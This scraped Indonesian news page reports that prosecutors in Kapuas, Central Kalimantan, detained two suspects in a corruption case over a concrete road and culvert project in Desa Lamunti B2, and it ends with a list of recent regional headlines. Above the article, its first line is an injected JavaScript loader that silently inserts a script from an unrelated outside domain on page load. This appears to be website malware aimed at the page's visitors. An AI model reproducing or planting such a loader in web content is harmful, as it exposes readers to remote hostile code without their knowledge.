(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Kapuas

Kejari Kapuas Tahan Dua Tersangka Kasus Tipikor di Desa Lamunti B2 Â


KANALKALIMANTAN. COM, KUALA KAPUAS – Dua tersangka tindak pidana korupsi (Tipikor) dilimpahkan ke Kejari Kapuas, terkait proyek pekerjaan rabat beton dan box culvert di Desa Lamunti B2, Kabupaten Kapuas.

Dua tersangka dianggap secara bersama-sama membuat negara dirugikan sebesar Rp 811.912.975, WK selaku Direktur CV Wijaya Gemilang sebagai pemenang lelang dan AH selaku tukang. Keduanya akhirnya harus menjalani proses hukum, menyusul berkas kasusnya dilimpahkan Reskrim Polres Kapuas ke Kejaksaan Negeri Kapuas, Kamis (17/9/2020).

Kepala Kejaksaan Negeri Kapuas Arief Raharjo melalui Kasi Intelijen Harisha Cahyo Wibowo membenarkan, pihaknya telah menerima pelimpahan berkas dari Polres Kapuas.

Dikatakannya, kedua tersangka (WK dan  AH) dianggap lalai dalam melaksanakan kegiatan proyek rabat beton dan box culvert di lokasi Lamunti B2, sehingga negara dirugikan.

Lebih lanjut dia menerangkan, kronologi pidana yang mereka lakukan adalah tersangka WK selaku Direktur CV Wijaya Gemilang sebagai pemenang lelang kegiatan menyerahkan pekerjaan kepada tersangka AH dengan imbalan sebesar Rp 18 juta.

Padahal, AH sebenarnya sama sekali tidak memiliki kemampuan dalam melaksanakan kegiatan tersebut. Akhirnya pekerjaan terbengkalai atau tidak tuntas sebagaimana waktu yang telah ditetapkan.

“Untuk saat ini kedua tersangka dilakukan penahanan selama 20 hari, sejak tanggal 16 September sampai dengan 5 Oktober 2020. Kemudian proses tahap dua sampai dengan proses dititipkan keduanya di Rutan Kelas II B Kuala Kapuas,” kata Kasi Intelijen Kejari Kapuas.

Sementara itu, Kapolres Kapuas AKBP Manang Soebeti melalui Kasatreskrim AKP Tri Wibowo membenarkan, pihaknya telah melimpahkan dua tersangka dan barang bukti tipikor kepada Kejaksaan Negeri Kapuas guna proses hukum lebih lanjut.

“Betul untuk berkas perkara kedua tersangka sudah kita serahkan kepada Kejaksaan,” tegas AKP Tri Wibowo. (kanalkalimantan.com/ags)

Reporter : ags
Editor : bie

Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.